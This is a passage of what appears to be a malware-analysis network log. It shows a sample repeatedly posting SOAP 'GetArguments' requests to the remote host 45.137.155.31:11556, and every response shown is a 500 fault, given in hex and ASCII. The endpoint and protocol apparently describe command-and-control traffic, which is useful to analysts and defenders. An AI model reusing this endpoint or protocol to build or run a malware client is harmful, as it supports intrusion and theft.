xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:53.791714907 CEST	1197	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:53.861747026 CEST	1197	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:53.933701992 CEST	1198	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:53 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:54.947076082 CEST	1207	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:55.031856060 CEST	1207	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:55.106903076 CEST	1208	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:55 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:56.118983030 CEST	1223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:56.187716007 CEST	1225	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:56.261271954 CEST	1239	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:56 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:57.275489092 CEST	1266	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:57.345042944 CEST	1266	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:57.427540064 CEST	1267	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:57 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:58.431857109 CEST	1268	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:58.501523018 CEST	1268	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:58.572072029 CEST	1269	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:58 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:59.715187073 CEST	1269	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:59.785922050 CEST	1269	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:59.884717941 CEST	1271	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:00.900859118 CEST	1276	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:00.971767902 CEST	1276	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:01.043327093 CEST	1278	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:00 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 